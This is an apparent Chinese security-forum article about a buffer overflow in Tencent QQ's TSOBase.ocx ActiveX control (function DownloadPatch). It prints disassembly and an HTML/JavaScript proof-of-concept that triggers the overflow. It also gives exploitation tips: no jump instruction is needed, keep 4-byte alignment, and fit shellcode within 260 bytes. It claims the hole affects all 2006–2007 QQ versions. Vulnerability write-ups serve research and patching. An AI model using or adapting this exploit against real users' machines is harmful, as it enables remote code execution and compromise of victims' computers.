|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 腾讯QQ的安全组件TSOBase.ocx,由于程序员的大意,在程序函数DownloadPatch中,对传入的参数没有做任何限制,本来应该是在256字节以内的,但却没有加以限制。为什么说是256字节呢?看看下面的分析,大家就会明白了!
程序代码 mov ecx, 0A00h xor eax, eax lea edi, [ebp+var_2F84] mov edx, [esi+4Ch] rep stosd stosb push edx lea eax, [ebp+var_2F84] push 2800h …… loc_10013F6C: lea edx, [ebp+var_2F84] push edi push edx lea ecx, [ebp+var_24] mov byte ptr [ebp+var_4], 7 call CFile::Write(void const *,uint) …… mov eax, [esi+90h] mov ecx, [esi+38h] mov edx, [esi+3Ch] push 104h ; size_t ……
其实上面这段代码就是下载一个安全补丁到本地来,在保存的时候,文件名是我们可以利用的参数。我们知道,Windows下的文件名最大长度为256字节,如果能成功利用这个参数就可以导致溢出了。我们写一段JavaScript来测试一下上面的分析是不是能触发这个漏洞。
程序代码 <script> function aiwuyanFun() { Kill.DownloadPatch("http://...ddddddddddddeeeeeerrtttttt"); }</script> <OBJECT ID="kill" CLASSID="CLSID:{C09B522F-8AED-4E21-A65C-DC1AB652BAEE}"></OBJECT> <script>javascript:aiwuyanFun();</script>
结果傲游出错了!QQ的这个漏洞利用很简单,不需要什么JMP、ESP或者别的跳转语句,因为程序出错后会自动定位程序指针到这个溢出字符串的开始,大家只要注意4字节对齐就行了。当然,这里的ShellCode长度要在260字节以内,仔细调试ShellCode,260个字节足够我们用了。
这个漏洞目前针对2006到2007的QQ都是通杀!
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |